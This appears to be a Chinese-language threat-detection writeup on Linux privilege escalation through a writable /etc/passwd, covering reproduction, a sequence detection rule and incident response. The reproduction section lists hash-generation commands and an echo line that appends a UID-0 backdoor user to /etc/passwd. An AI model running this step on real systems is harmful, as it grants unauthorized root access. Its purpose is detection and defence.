Linux利用passwd文件提权
威胁场景
Linux 系统中的 /etc/passwd 文件,是系统用户配置文件,存储了系统中所有用户的基本信息,并且所有用户都可以对此文件执行读操作,如果有可写入权限,攻击者就可能写入一个任意权限的用户进去达到提权的目的。
场景复现
此时攻击者已经获得了shell权限,且对/ect/passwd文件拥有写权限(虽然其实一般都没有)
1.设置一个喜欢的密码并使用某种算法(不知道具体是啥算法,有大佬可以指点一下,所以反正用加密方式1、2加密的玩意儿写进/etc/passwd我是没成功,但是3、4、5可以)进行加密,对盐值好像没有要求,随便指定都可以
加密的 5 种方式:
- 利用openssl生成加密的密码
ps:注意openssl版本,早期版本只有-1的,如需更新详见链接:
https://cloud.tencent.com/developer/article/2396540
# 语法:openssl passwd -1 -salt[salt value] password
## passwd - openssl子命令,用于生成密码散列
## -1 - 指定生成散列的算法,-1指MD5(默认值),-6是SHA512
## -salt - 指定盐值,如没有指定则会随机一个
## password - 待加密的密码
eg. openssl passwd -6 -salt us pass123
官方命令文档链接:
https://www.openssl.org/docs/man3.3/man1/index.html
- mkpasswd生成
eg. mkpasswd -m SHA-512 pass
# -m - 指定加密算法
- 利用python中的crypt库生成
eg. python -c 'import crypt; print crypt.crypt("pass", "nb")'
# crypt()函数通常会使用与操作系统相同的默认加密算法
# crypt()第一个参数是要加密的密码,第二个参数是盐值,下同
- 利用Perl和crypt来使用salt值为我们的密码生成哈希值
eg.perl -le 'print crypt("pass123", "abc")'
- php语言
eg. php -r "print(crypt('pass123','123') . " ");"
2.将这个密码写入 /etc/passwd 文件
echo "test1:nbh4Y1ouzGQ3w:0:0:User_like_root:/root:/bin/bash" >> /etc/passwd
# test1 - 这是用户名,表示用户的登录名
# nbh4Y1ouzGQ3w - 加密后的密码字段
# 0:0 - UID:GID,这里是超级用户
# User_like_root - 用户全名或注释
# /root - 用户主目录,登录时会进入该目录
# /bin/bash - 用户默认的shell,定义了用户登录后使用的命令行解释器
置信度
高
检测方法
命令行先检测到 加密 命令,然后检测到 “echo”、 “>>”、 “/ect/passwd”
以下为示例规则:
- action: group
a:
- source: terminal_log
- filter: # 过滤条件
or:
- and:
- object_proc ~contains "openssl"
- object_cmdline ~contains "passwd"
- and:
- object_cmdline ~contains "crypt"
- or:
- object_proc ~contains "python"
- object_proc ~contains "perl"
- object_proc ~contains "php"
b:
- source: terminal_log
- filter: # 过滤条件
and:
- op_type_cd = "file_operate"
- object_proc ~contains "echo"
- object_file contains "/etc/passwd"
- sequence: a{1} b{1} # 序列模型
keyBy: dip # 序列分组条件
within: 5m # 序列时间窗口
研判建议
立刻确定对应主机/etc/passwd文件中内容,如出现新创建的权限过大的用户则该攻击已成功
应急响应
1.清除可疑用户
2.全盘查杀,清除可能的后门残留
3.控制好对 /etc/passwd 文件操作的权限